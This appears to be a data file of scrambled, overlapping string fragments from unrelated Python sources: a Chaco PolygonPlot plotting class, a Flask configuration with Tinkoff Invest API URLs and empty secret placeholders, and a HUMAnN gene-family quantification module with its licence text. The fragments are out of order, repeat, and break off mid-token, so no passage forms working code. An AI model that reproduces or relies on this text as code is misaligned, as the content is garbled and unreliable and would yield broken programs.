the given", "face_color, alpha') def _attributes_changed(self): self.invalidate_draw() self.request_redraw() #------------------------------------------------------------------------ # Property getters", "'line_style_'): gc.set_line_dash(self.line_style_) gc.draw_rect((x,y,width,height)) return def hittest(self, screen_pt, threshold=7.0, return_distance=False): \"\"\"", "self.value.get_data() poly = np.vstack((index,value)).T if points_in_polygon([data_pt], poly)[0] == 1: return", "else: face_alpha = 1.0 c = self.face_color_[:3] + (face_alpha *", "corresponds to X-coordinates and \"value\" corresponds to Y-coordinates, the points", "= LineStyle # The color of the face of the", "mappers are possible, but the results may be unexpected. Only", "screen-space. If you don't want the edge of the polygon", "= self.index.get_data() value = self.value.get_data() if not self.index or not", "this plot as an icon into the box defined by", "imports. from base_xy_plot import BaseXYPlot class PolygonPlot(BaseXYPlot): \"\"\" Plots a", "return c @cached_property def _get_effective_face_color(self): if len(self.face_color_) == 4: face_alpha", "as small as possible while still putting ink on the", "transparent_color_trait from kiva.agg import points_in_polygon from traits.api import Enum, Float,", "testing. If self.hittest_type is \"line\" or \"point\", then behaves like", "= np.vstack((index,value)).T if points_in_polygon([data_pt], poly)[0] == 1: return True else:", "a nonlinear fashion. Straight lines connecting them in a linear", "The RGBA tuple for rendering edges. It is always a", "for rendering the face. It is always a tuple of", "unexpected. Only the data-space points are mapped in a nonlinear", "the same RGB values as face_color_, and its alpha value", "= [] self._cache_valid = True return points = np.transpose(np.array((index,value))) self._cached_data_pts", "its alpha value is the # alpha value of self.edge_color", "self._cached_data_pts = points self._cache_valid = True def _render(self, gc, points):", "hittest_type = Enum(\"poly\", \"point\", \"line\") # The RGBA tuple for", "point as the last point. Nonlinear mappers are possible, but", "point is inside the polygon, and False otherwise. \"\"\" if", "It has the same RGB values as edge_color_, and its", "not self.index or not self.value: return if len(index) == 0", "False otherwise. \"\"\" if self.hittest_type in (\"line\", \"point\"): return BaseXYPlot.hittest(self,", "= self.map_data(screen_pt, all_values=True) index = self.index.get_data() value = self.value.get_data() poly", "the edge of the polygon. edge_color = black_color_trait # The", "value mappers are linear mappers, and that \"index\" corresponds to", "are within the bounds of the plot and caches them.", "parent class BaseXYPlot.hittest(). If self.hittest_type is \"poly\", then returns True", "of the face of the polygon. face_color = transparent_color_trait #", "tuple of length 4. # It has the same RGB", "# alpha value of self.edge_color multiplied by self.alpha. effective_edge_color =", "import numpy as np # Enthought library imports. from enable.api", "of this plot as an icon into the box defined", "by self.alpha. effective_edge_color = Property(Tuple, depends_on=['edge_color', 'alpha']) # The RGBA", "In some drawing systems, such as PostScript, a line width", "self.height) gc.set_stroke_color(self.effective_edge_color) gc.set_line_width(self.edge_width) gc.set_line_dash(self.edge_style_) gc.set_fill_color(self.effective_face_color) gc.lines(points) gc.close_path() gc.draw_path() def _render_icon(self,", "value is the # alpha value of self.edge_color multiplied by", "to be drawn, set **edge_color** to transparent; don't try to", "reproduce the first point as the last point. Nonlinear mappers", "The polygon is closed automatically, so there is no need", "of self.edge_color multiplied by self.alpha. effective_edge_color = Property(Tuple, depends_on=['edge_color', 'alpha'])", "point/line proximity testing. If self.hittest_type is \"line\" or \"point\", then", "\"line\" or \"point\", then behaves like the parent class BaseXYPlot.hittest().", "as possible while still putting ink on the page. \"\"\"", "then behaves like the parent class BaseXYPlot.hittest(). If self.hittest_type is", "effective_face_color = Property(Tuple, depends_on=['face_color', 'alpha']) #---------------------------------------------------------------------- # Private 'BaseXYPlot' interface", "index and value mappers are linear mappers, and that \"index\"", "The color of the face of the polygon. face_color =", "polygon in dataspace. Assuming that the index and value mappers", "defined by the parameters. Used by the legend. \"\"\" with", "points that are within the bounds of the plot and", "len(index) != len(value): self._cached_data_pts = [] self._cache_valid = True return", "_get_effective_edge_color(self): if len(self.edge_color_) == 4: edge_alpha = self.edge_color_[-1] else: edge_alpha", "to do this by setting **edge_width** to 0. In some", "Straight lines connecting them in a linear screen-space become curved", "screen-space; however, the drawing still contains straight lines in screen-space.", "# alpha value of self.face_color multiplied by self.alpha. effective_face_color =", "self._cache_valid = True def _render(self, gc, points): \"\"\" Renders an", "a line width of 0 means to make the line", "The thickness of the edge of the polygon. edge_width =", "height): \"\"\" Renders a representation of this plot as an", "is the # alpha value of self.edge_color multiplied by self.alpha.", "gc.set_line_width(self.edge_width) gc.set_line_dash(self.edge_style_) gc.set_fill_color(self.effective_face_color) gc.lines(points) gc.close_path() gc.draw_path() def _render_icon(self, gc, x,", "the face of the polygon. face_color = transparent_color_trait # Override", "the polygon. edge_width = Float(1.0) # The line dash style", "gc.draw_path() def _render_icon(self, gc, x, y, width, height): \"\"\" Renders", "\"\"\" Plots a polygon in dataspace. Assuming that the index", "(edge_alpha * self.alpha,) return c @cached_property def _get_effective_face_color(self): if len(self.face_color_)", "library imports. from enable.api import LineStyle, black_color_trait, \\ transparent_color_trait from", "polygon. edge_color = black_color_trait # The thickness of the edge", "Tuple, Property, cached_property, \\ on_trait_change # Local imports. from base_xy_plot", "testing or point/line proximity testing. If self.hittest_type is \"line\" or", "BaseXYPlot.hittest(). If self.hittest_type is \"poly\", then returns True if the", "as face_color_, and its alpha value is the # alpha", "else: edge_alpha = 1.0 c = self.edge_color_[:3] + (edge_alpha *", "Enum, Float, Tuple, Property, cached_property, \\ on_trait_change # Local imports.", "from kiva.agg import points_in_polygon from traits.api import Enum, Float, Tuple,", "a linear screen-space become curved in a nonlinear screen-space; however,", "the first point as the last point. Nonlinear mappers are", "self.request_redraw() #------------------------------------------------------------------------ # Property getters #------------------------------------------------------------------------ @cached_property def _get_effective_edge_color(self): if", "= 1.0 c = self.face_color_[:3] + (face_alpha * self.alpha,) return", "return_distance) data_pt = self.map_data(screen_pt, all_values=True) index = self.index.get_data() value =", "self.hittest_type is \"poly\", then returns True if the given point", "Defines the PolygonPlot class. \"\"\" from __future__ import with_statement #", "the hittest_type trait inherited from BaseXYPlot hittest_type = Enum(\"poly\", \"point\",", "BaseXYPlot class PolygonPlot(BaseXYPlot): \"\"\" Plots a polygon in dataspace. Assuming", "edge_width, edge_style, face_color, alpha') def _attributes_changed(self): self.invalidate_draw() self.request_redraw() #------------------------------------------------------------------------ #", "self._cache_valid = True return points = np.transpose(np.array((index,value))) self._cached_data_pts = points", "rendering the face. It is always a tuple of length", "a nonlinear screen-space; however, the drawing still contains straight lines", "the # alpha value of self.edge_color multiplied by self.alpha. effective_edge_color", "Property, cached_property, \\ on_trait_change # Local imports. from base_xy_plot import", "hasattr(self, 'line_style_'): gc.set_line_dash(self.line_style_) gc.draw_rect((x,y,width,height)) return def hittest(self, screen_pt, threshold=7.0, return_distance=False):", "data points that are within the bounds of the plot", "nonlinear fashion. Straight lines connecting them in a linear screen-space", "gc.set_stroke_color(self.effective_edge_color) gc.set_line_width(self.edge_width) gc.set_line_dash(self.edge_style_) gc.set_fill_color(self.effective_face_color) gc.lines(points) gc.close_path() gc.draw_path() def _render_icon(self, gc,", "= self.face_color_[-1] else: face_alpha = 1.0 c = self.face_color_[:3] +", "with_statement # Major library imports import numpy as np #", "'BaseXYPlot' interface #---------------------------------------------------------------------- def _gather_points(self): \"\"\" Collects the data points", "of the polygon. edge_style = LineStyle # The color of", "a tuple of length 4. # It has the same", "polygon. edge_style = LineStyle # The color of the face", "# Local imports. from base_xy_plot import BaseXYPlot class PolygonPlot(BaseXYPlot): \"\"\"", "True if the given point is inside the polygon, and", "edge_style, face_color, alpha') def _attributes_changed(self): self.invalidate_draw() self.request_redraw() #------------------------------------------------------------------------ # Property", "the parent class BaseXYPlot.hittest(). If self.hittest_type is \"poly\", then returns", "color of the face of the polygon. face_color = transparent_color_trait", "or not self.value: return if len(index) == 0 or len(value)", "lines connecting them in a linear screen-space become curved in", "[] self._cache_valid = True return points = np.transpose(np.array((index,value))) self._cached_data_pts =", "icon into the box defined by the parameters. Used by", "Renders an Nx2 array of screen-space points as a polygon.", "numpy as np # Enthought library imports. from enable.api import", "may be unexpected. Only the data-space points are mapped in", "edges. It is always a tuple of length 4. #", "len(value) == 0 or len(index) != len(value): self._cached_data_pts = []", "= np.transpose(np.array((index,value))) self._cached_data_pts = points self._cache_valid = True def _render(self,", "on the page. \"\"\" # The color of the line", "return if len(index) == 0 or len(value) == 0 or", "all_values=True) index = self.index.get_data() value = self.value.get_data() poly = np.vstack((index,value)).T", "If self.hittest_type is \"line\" or \"point\", then behaves like the", "as edge_color_, and its alpha value is the # alpha", "Nx2 array of screen-space points as a polygon. \"\"\" with", "of the line on the edge of the polygon. edge_color", "that are within the bounds of the plot and caches", "= self.value.get_data() poly = np.vstack((index,value)).T if points_in_polygon([data_pt], poly)[0] == 1:", "def _get_effective_face_color(self): if len(self.face_color_) == 4: face_alpha = self.face_color_[-1] else:", "the page. \"\"\" # The color of the line on", "from BaseXYPlot hittest_type = Enum(\"poly\", \"point\", \"line\") # The RGBA", "trait inherited from BaseXYPlot hittest_type = Enum(\"poly\", \"point\", \"line\") #" ]
[ "REMEMBER_COOKIE_DURATION = timedelta(days=1) SQLALCHEMY_TRACK_MODIFICATIONS = False SECRET_KEY = \"\" API_TOKEN", "= \"https://invest-public-api.tinkoff.ru/rest/\\ tinkoff.public.invest.api.contract.v1.MarketDataService/GetLastPrices\" SQLALCHEMY_DATABASE_URI = 'sqlite:///' + os.path.join(basedir, '..', 'webapp.db')", "'sqlite:///' + os.path.join(basedir, '..', 'webapp.db') REMEMBER_COOKIE_DURATION = timedelta(days=1) SQLALCHEMY_TRACK_MODIFICATIONS =", "+ os.path.join(basedir, '..', 'webapp.db') REMEMBER_COOKIE_DURATION = timedelta(days=1) SQLALCHEMY_TRACK_MODIFICATIONS = False", "\"https://invest-public-api.tinkoff.ru/rest/\\ tinkoff.public.invest.api.contract.v1.MarketDataService/GetLastPrices\" SQLALCHEMY_DATABASE_URI = 'sqlite:///' + os.path.join(basedir, '..', 'webapp.db') REMEMBER_COOKIE_DURATION", "os.path.join(basedir, '..', 'webapp.db') REMEMBER_COOKIE_DURATION = timedelta(days=1) SQLALCHEMY_TRACK_MODIFICATIONS = False SECRET_KEY", "import timedelta basedir = os.path.abspath(os.path.dirname(__file__)) API_DATA_URL = \"https://invest-public-api.tinkoff.ru/rest/tinkoff.public.invest.api.contract.v1.InstrumentsService/\" API_LASTPRICES_URL =", "SQLALCHEMY_DATABASE_URI = 'sqlite:///' + os.path.join(basedir, '..', 'webapp.db') REMEMBER_COOKIE_DURATION = timedelta(days=1)", "basedir = os.path.abspath(os.path.dirname(__file__)) API_DATA_URL = \"https://invest-public-api.tinkoff.ru/rest/tinkoff.public.invest.api.contract.v1.InstrumentsService/\" API_LASTPRICES_URL = \"https://invest-public-api.tinkoff.ru/rest/\\ tinkoff.public.invest.api.contract.v1.MarketDataService/GetLastPrices\"", "os.path.abspath(os.path.dirname(__file__)) API_DATA_URL = \"https://invest-public-api.tinkoff.ru/rest/tinkoff.public.invest.api.contract.v1.InstrumentsService/\" API_LASTPRICES_URL = \"https://invest-public-api.tinkoff.ru/rest/\\ tinkoff.public.invest.api.contract.v1.MarketDataService/GetLastPrices\" SQLALCHEMY_DATABASE_URI =", "datetime import timedelta basedir = os.path.abspath(os.path.dirname(__file__)) API_DATA_URL = \"https://invest-public-api.tinkoff.ru/rest/tinkoff.public.invest.api.contract.v1.InstrumentsService/\" API_LASTPRICES_URL", "API_DATA_URL = \"https://invest-public-api.tinkoff.ru/rest/tinkoff.public.invest.api.contract.v1.InstrumentsService/\" API_LASTPRICES_URL = \"https://invest-public-api.tinkoff.ru/rest/\\ tinkoff.public.invest.api.contract.v1.MarketDataService/GetLastPrices\" SQLALCHEMY_DATABASE_URI = 'sqlite:///'", "= \"https://invest-public-api.tinkoff.ru/rest/tinkoff.public.invest.api.contract.v1.InstrumentsService/\" API_LASTPRICES_URL = \"https://invest-public-api.tinkoff.ru/rest/\\ tinkoff.public.invest.api.contract.v1.MarketDataService/GetLastPrices\" SQLALCHEMY_DATABASE_URI = 'sqlite:///' +", "timedelta basedir = os.path.abspath(os.path.dirname(__file__)) API_DATA_URL = \"https://invest-public-api.tinkoff.ru/rest/tinkoff.public.invest.api.contract.v1.InstrumentsService/\" API_LASTPRICES_URL = \"https://invest-public-api.tinkoff.ru/rest/\\", "= timedelta(days=1) SQLALCHEMY_TRACK_MODIFICATIONS = False SECRET_KEY = \"\" API_TOKEN =", "= os.path.abspath(os.path.dirname(__file__)) API_DATA_URL = \"https://invest-public-api.tinkoff.ru/rest/tinkoff.public.invest.api.contract.v1.InstrumentsService/\" API_LASTPRICES_URL = \"https://invest-public-api.tinkoff.ru/rest/\\ tinkoff.public.invest.api.contract.v1.MarketDataService/GetLastPrices\" SQLALCHEMY_DATABASE_URI", "= 'sqlite:///' + os.path.join(basedir, '..', 'webapp.db') REMEMBER_COOKIE_DURATION = timedelta(days=1) SQLALCHEMY_TRACK_MODIFICATIONS", "import os from datetime import timedelta basedir = os.path.abspath(os.path.dirname(__file__)) API_DATA_URL", "from datetime import timedelta basedir = os.path.abspath(os.path.dirname(__file__)) API_DATA_URL = \"https://invest-public-api.tinkoff.ru/rest/tinkoff.public.invest.api.contract.v1.InstrumentsService/\"", "timedelta(days=1) SQLALCHEMY_TRACK_MODIFICATIONS = False SECRET_KEY = \"\" API_TOKEN = \"\"", "tinkoff.public.invest.api.contract.v1.MarketDataService/GetLastPrices\" SQLALCHEMY_DATABASE_URI = 'sqlite:///' + os.path.join(basedir, '..', 'webapp.db') REMEMBER_COOKIE_DURATION =", "os from datetime import timedelta basedir = os.path.abspath(os.path.dirname(__file__)) API_DATA_URL =", "'..', 'webapp.db') REMEMBER_COOKIE_DURATION = timedelta(days=1) SQLALCHEMY_TRACK_MODIFICATIONS = False SECRET_KEY =", "\"https://invest-public-api.tinkoff.ru/rest/tinkoff.public.invest.api.contract.v1.InstrumentsService/\" API_LASTPRICES_URL = \"https://invest-public-api.tinkoff.ru/rest/\\ tinkoff.public.invest.api.contract.v1.MarketDataService/GetLastPrices\" SQLALCHEMY_DATABASE_URI = 'sqlite:///' + os.path.join(basedir,", "API_LASTPRICES_URL = \"https://invest-public-api.tinkoff.ru/rest/\\ tinkoff.public.invest.api.contract.v1.MarketDataService/GetLastPrices\" SQLALCHEMY_DATABASE_URI = 'sqlite:///' + os.path.join(basedir, '..',", "'webapp.db') REMEMBER_COOKIE_DURATION = timedelta(days=1) SQLALCHEMY_TRACK_MODIFICATIONS = False SECRET_KEY = \"\"" ]
[ "IN THE SOFTWARE. \"\"\" import os import logging import math", "MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO", "OTHER DEALINGS IN THE SOFTWARE. \"\"\" import os import logging", "mappings gene_names=store.Names(config.gene_family_name_mapping_file) delimiter=config.output_file_column_delimiter category_delimiter=config.output_file_category_delimiter # Write the scores ordered with", "substantial portions of the Software. THE SOFTWARE IS PROVIDED \"AS", "notice shall be included in all copies or substantial portions", "OR OTHER DEALINGS IN THE SOFTWARE. \"\"\" import os import", "scores for each gene family for each bug set alignments.convert_alignments_to_gene_scores(gene_scores)", "families\") # Compute scores for each gene family for each", "set alignments.convert_alignments_to_gene_scores(gene_scores) # Process the gene id to names mappings", "utilities.tsv_to_biom(tmpfile,config.genefamilies_file,\"Gene\") else: # Write output as tsv format file_handle =", "logger=logging.getLogger(__name__) def gene_families(alignments,gene_scores,unaligned_reads_count): \"\"\" Compute the gene families from the", "for gene in gene_scores.gene_list_sorted_by_score(\"all\"): all_score=gene_scores.get_score(\"all\",gene) if all_score>0: gene_name=gene_names.get_name(gene) # Print", "scores ordered with the top first column_name=config.file_basename+\"_Abundance-RPKs\" if config.remove_column_description_output: column_name=config.file_basename", "as tsv format file_handle = open(config.genefamilies_file, \"w\") file_handle.write(\"\\n\".join(tsv_output)) file_handle.close() return", "biom is selected tmpfile=utilities.unnamed_temp_file() file_handle=open(tmpfile,'w') file_handle.write(\"\\n\".join(tsv_output)) file_handle.close() utilities.tsv_to_biom(tmpfile,config.genefamilies_file,\"Gene\") else: #", "else: # Write output as tsv format file_handle = open(config.genefamilies_file,", "if config.remove_column_description_output: column_name=config.file_basename tsv_output=[\"# Gene Family\"+delimiter+column_name] # Add the unaligned", "THE USE OR OTHER DEALINGS IN THE SOFTWARE. \"\"\" import", "config.output_format==\"biom\": # Open a temp file if a conversion to", "math from .. import config from .. import utilities from", "Software without restriction, including without limitation the rights to use,", "NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS", "copies of the Software, and to permit persons to whom", "hereby granted, free of charge, to any person obtaining a", "to deal in the Software without restriction, including without limitation", "OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE", "store # name global logging instance logger=logging.getLogger(__name__) def gene_families(alignments,gene_scores,unaligned_reads_count): \"\"\"", "file_handle.write(\"\\n\".join(tsv_output)) file_handle.close() utilities.tsv_to_biom(tmpfile,config.genefamilies_file,\"Gene\") else: # Write output as tsv format", "gene_families(alignments,gene_scores,unaligned_reads_count): \"\"\" Compute the gene families from the alignments \"\"\"", "each bug set alignments.convert_alignments_to_gene_scores(gene_scores) # Process the gene id to", "portions of the Software. THE SOFTWARE IS PROVIDED \"AS IS\",", "delimiter=config.output_file_column_delimiter category_delimiter=config.output_file_category_delimiter # Write the scores ordered with the top", "# Open a temp file if a conversion to biom", "DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,", "FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR", "with those with the highest values first scores_by_bug=gene_scores.get_scores_for_gene_by_bug(gene) for bug", "\"\"\" logger.debug(\"Compute gene families\") # Compute scores for each gene", "modify, merge, publish, distribute, sublicense, and/or sell copies of the", "ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE", "family ordered with those with the highest values first scores_by_bug=gene_scores.get_scores_for_gene_by_bug(gene)", "persons to whom the Software is furnished to do so,", "limitation the rights to use, copy, modify, merge, publish, distribute,", "subject to the following conditions: The above copyright notice and", "OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH", "per bug for family ordered with those with the highest", "of the Software. THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT", "(c) 2014 Harvard School of Public Health Permission is hereby", "gene families with those with the highest scores first for", "gene family Copyright (c) 2014 Harvard School of Public Health", "output as tsv format file_handle = open(config.genefamilies_file, \"w\") file_handle.write(\"\\n\".join(tsv_output)) file_handle.close()", "logging instance logger=logging.getLogger(__name__) def gene_families(alignments,gene_scores,unaligned_reads_count): \"\"\" Compute the gene families", "NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A", "Software is furnished to do so, subject to the following", "utilities.double_sort(scores_by_bug): if scores_by_bug[bug]>0: tsv_output.append(gene_name+category_delimiter+bug+delimiter +utilities.format_float_to_string(scores_by_bug[bug])) if config.output_format==\"biom\": # Open a", "Software. THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF", "print per bug if selected if not config.remove_stratified_output: # Print", "the alignments \"\"\" logger.debug(\"Compute gene families\") # Compute scores for", "sell copies of the Software, and to permit persons to", "Process the gene id to names mappings gene_names=store.Names(config.gene_family_name_mapping_file) delimiter=config.output_file_column_delimiter category_delimiter=config.output_file_category_delimiter", "included in all copies or substantial portions of the Software.", "global logging instance logger=logging.getLogger(__name__) def gene_families(alignments,gene_scores,unaligned_reads_count): \"\"\" Compute the gene", "copy, modify, merge, publish, distribute, sublicense, and/or sell copies of", "import config from .. import utilities from .. import store", "os import logging import math from .. import config from", "the gene families with those with the highest scores first", "the highest values first scores_by_bug=gene_scores.get_scores_for_gene_by_bug(gene) for bug in utilities.double_sort(scores_by_bug): if", "each gene family for each bug set alignments.convert_alignments_to_gene_scores(gene_scores) # Process", "furnished to do so, subject to the following conditions: The", "temp file if a conversion to biom is selected tmpfile=utilities.unnamed_temp_file()", "or substantial portions of the Software. THE SOFTWARE IS PROVIDED", "EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR", "EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES", "publish, distribute, sublicense, and/or sell copies of the Software, and", "family tsv_output.append(gene_name+delimiter+utilities.format_float_to_string(all_score)) # Process and print per bug if selected", "scores first for gene in gene_scores.gene_list_sorted_by_score(\"all\"): all_score=gene_scores.get_score(\"all\",gene) if all_score>0: gene_name=gene_names.get_name(gene)", "the top first column_name=config.file_basename+\"_Abundance-RPKs\" if config.remove_column_description_output: column_name=config.file_basename tsv_output=[\"# Gene Family\"+delimiter+column_name]", "\"Software\"), to deal in the Software without restriction, including without", "and print per bug if selected if not config.remove_stratified_output: #", "logging import math from .. import config from .. import", "gene family for each bug set alignments.convert_alignments_to_gene_scores(gene_scores) # Process the", "IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS", "the scores ordered with the top first column_name=config.file_basename+\"_Abundance-RPKs\" if config.remove_column_description_output:", "Compute scores for each gene family for each bug set", "be included in all copies or substantial portions of the", "Write output as tsv format file_handle = open(config.genefamilies_file, \"w\") file_handle.write(\"\\n\".join(tsv_output))", "to use, copy, modify, merge, publish, distribute, sublicense, and/or sell", "School of Public Health Permission is hereby granted, free of", "ordered with the top first column_name=config.file_basename+\"_Abundance-RPKs\" if config.remove_column_description_output: column_name=config.file_basename tsv_output=[\"#", "to biom is selected tmpfile=utilities.unnamed_temp_file() file_handle=open(tmpfile,'w') file_handle.write(\"\\n\".join(tsv_output)) file_handle.close() utilities.tsv_to_biom(tmpfile,config.genefamilies_file,\"Gene\") else:", "import logging import math from .. import config from ..", "not config.remove_stratified_output: # Print scores per bug for family ordered", "the following conditions: The above copyright notice and this permission", "files (the \"Software\"), to deal in the Software without restriction,", "ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF", "out the gene families with those with the highest scores", "the rights to use, copy, modify, merge, publish, distribute, sublicense,", "software and associated documentation files (the \"Software\"), to deal in", "def gene_families(alignments,gene_scores,unaligned_reads_count): \"\"\" Compute the gene families from the alignments", "notice and this permission notice shall be included in all", "is hereby granted, free of charge, to any person obtaining", "first scores_by_bug=gene_scores.get_scores_for_gene_by_bug(gene) for bug in utilities.double_sort(scores_by_bug): if scores_by_bug[bug]>0: tsv_output.append(gene_name+category_delimiter+bug+delimiter +utilities.format_float_to_string(scores_by_bug[bug]))", "gene families from the alignments \"\"\" logger.debug(\"Compute gene families\") #", "import utilities from .. import store # name global logging", "Health Permission is hereby granted, free of charge, to any", "Write the scores ordered with the top first column_name=config.file_basename+\"_Abundance-RPKs\" if", "first column_name=config.file_basename+\"_Abundance-RPKs\" if config.remove_column_description_output: column_name=config.file_basename tsv_output=[\"# Gene Family\"+delimiter+column_name] # Add", "first for gene in gene_scores.gene_list_sorted_by_score(\"all\"): all_score=gene_scores.get_score(\"all\",gene) if all_score>0: gene_name=gene_names.get_name(gene) #", "to the following conditions: The above copyright notice and this", "conditions: The above copyright notice and this permission notice shall", "the Software without restriction, including without limitation the rights to", "import store # name global logging instance logger=logging.getLogger(__name__) def gene_families(alignments,gene_scores,unaligned_reads_count):", "THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND", "and/or sell copies of the Software, and to permit persons", "permit persons to whom the Software is furnished to do", "file_handle.close() utilities.tsv_to_biom(tmpfile,config.genefamilies_file,\"Gene\") else: # Write output as tsv format file_handle", "do so, subject to the following conditions: The above copyright", "from .. import store # name global logging instance logger=logging.getLogger(__name__)", "any person obtaining a copy of this software and associated", "WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN", "WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT", "THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE", "THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,", "selected tmpfile=utilities.unnamed_temp_file() file_handle=open(tmpfile,'w') file_handle.write(\"\\n\".join(tsv_output)) file_handle.close() utilities.tsv_to_biom(tmpfile,config.genefamilies_file,\"Gene\") else: # Write output", "\"\"\" import os import logging import math from .. import", "a conversion to biom is selected tmpfile=utilities.unnamed_temp_file() file_handle=open(tmpfile,'w') file_handle.write(\"\\n\".join(tsv_output)) file_handle.close()", "# Add the unaligned reads count tsv_output.append(config.unmapped_gene_name+delimiter+utilities.format_float_to_string(unaligned_reads_count)) # Print out", "copy of this software and associated documentation files (the \"Software\"),", "FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL", "Add the unaligned reads count tsv_output.append(config.unmapped_gene_name+delimiter+utilities.format_float_to_string(unaligned_reads_count)) # Print out the", "including without limitation the rights to use, copy, modify, merge,", "OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR", "# Print out the gene families with those with the", "CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS", "IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER", "conversion to biom is selected tmpfile=utilities.unnamed_temp_file() file_handle=open(tmpfile,'w') file_handle.write(\"\\n\".join(tsv_output)) file_handle.close() utilities.tsv_to_biom(tmpfile,config.genefamilies_file,\"Gene\")", "highest values first scores_by_bug=gene_scores.get_scores_for_gene_by_bug(gene) for bug in utilities.double_sort(scores_by_bug): if scores_by_bug[bug]>0:", "gene_names=store.Names(config.gene_family_name_mapping_file) delimiter=config.output_file_column_delimiter category_delimiter=config.output_file_category_delimiter # Write the scores ordered with the", "count tsv_output.append(config.unmapped_gene_name+delimiter+utilities.format_float_to_string(unaligned_reads_count)) # Print out the gene families with those", "without limitation the rights to use, copy, modify, merge, publish,", "+utilities.format_float_to_string(scores_by_bug[bug])) if config.output_format==\"biom\": # Open a temp file if a", "restriction, including without limitation the rights to use, copy, modify,", "in gene_scores.gene_list_sorted_by_score(\"all\"): all_score=gene_scores.get_score(\"all\",gene) if all_score>0: gene_name=gene_names.get_name(gene) # Print the computation", "to permit persons to whom the Software is furnished to", "alignments by gene family Copyright (c) 2014 Harvard School of", "OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF", "with those with the highest scores first for gene in", "OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR", "for family ordered with those with the highest values first", "deal in the Software without restriction, including without limitation the", "bug set alignments.convert_alignments_to_gene_scores(gene_scores) # Process the gene id to names", "USE OR OTHER DEALINGS IN THE SOFTWARE. \"\"\" import os", "gene_name=gene_names.get_name(gene) # Print the computation of all bugs for gene", "BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR", "bug in utilities.double_sort(scores_by_bug): if scores_by_bug[bug]>0: tsv_output.append(gene_name+category_delimiter+bug+delimiter +utilities.format_float_to_string(scores_by_bug[bug])) if config.output_format==\"biom\": #", "# Process the gene id to names mappings gene_names=store.Names(config.gene_family_name_mapping_file) delimiter=config.output_file_column_delimiter", "bug if selected if not config.remove_stratified_output: # Print scores per", "highest scores first for gene in gene_scores.gene_list_sorted_by_score(\"all\"): all_score=gene_scores.get_score(\"all\",gene) if all_score>0:", "ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO", "the highest scores first for gene in gene_scores.gene_list_sorted_by_score(\"all\"): all_score=gene_scores.get_score(\"all\",gene) if", "distribute, sublicense, and/or sell copies of the Software, and to", "2014 Harvard School of Public Health Permission is hereby granted,", "of Public Health Permission is hereby granted, free of charge,", "for each gene family for each bug set alignments.convert_alignments_to_gene_scores(gene_scores) #", "all bugs for gene family tsv_output.append(gene_name+delimiter+utilities.format_float_to_string(all_score)) # Process and print", "tsv_output=[\"# Gene Family\"+delimiter+column_name] # Add the unaligned reads count tsv_output.append(config.unmapped_gene_name+delimiter+utilities.format_float_to_string(unaligned_reads_count))", "PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR", "to names mappings gene_names=store.Names(config.gene_family_name_mapping_file) delimiter=config.output_file_column_delimiter category_delimiter=config.output_file_category_delimiter # Write the scores", "category_delimiter=config.output_file_category_delimiter # Write the scores ordered with the top first", "quantify_families module Compute alignments by gene family Copyright (c) 2014", "gene families\") # Compute scores for each gene family for", "the Software, and to permit persons to whom the Software", "tmpfile=utilities.unnamed_temp_file() file_handle=open(tmpfile,'w') file_handle.write(\"\\n\".join(tsv_output)) file_handle.close() utilities.tsv_to_biom(tmpfile,config.genefamilies_file,\"Gene\") else: # Write output as", "and associated documentation files (the \"Software\"), to deal in the", "Public Health Permission is hereby granted, free of charge, to", "the Software. THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY", "to whom the Software is furnished to do so, subject", "module Compute alignments by gene family Copyright (c) 2014 Harvard", "FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT", "utilities from .. import store # name global logging instance", "in utilities.double_sort(scores_by_bug): if scores_by_bug[bug]>0: tsv_output.append(gene_name+category_delimiter+bug+delimiter +utilities.format_float_to_string(scores_by_bug[bug])) if config.output_format==\"biom\": # Open", "config from .. import utilities from .. import store #", "WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT", "import os import logging import math from .. import config", "bugs for gene family tsv_output.append(gene_name+delimiter+utilities.format_float_to_string(all_score)) # Process and print per", "tsv_output.append(config.unmapped_gene_name+delimiter+utilities.format_float_to_string(unaligned_reads_count)) # Print out the gene families with those with", "TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE", "column_name=config.file_basename+\"_Abundance-RPKs\" if config.remove_column_description_output: column_name=config.file_basename tsv_output=[\"# Gene Family\"+delimiter+column_name] # Add the", "if selected if not config.remove_stratified_output: # Print scores per bug", "all_score=gene_scores.get_score(\"all\",gene) if all_score>0: gene_name=gene_names.get_name(gene) # Print the computation of all", "of the Software, and to 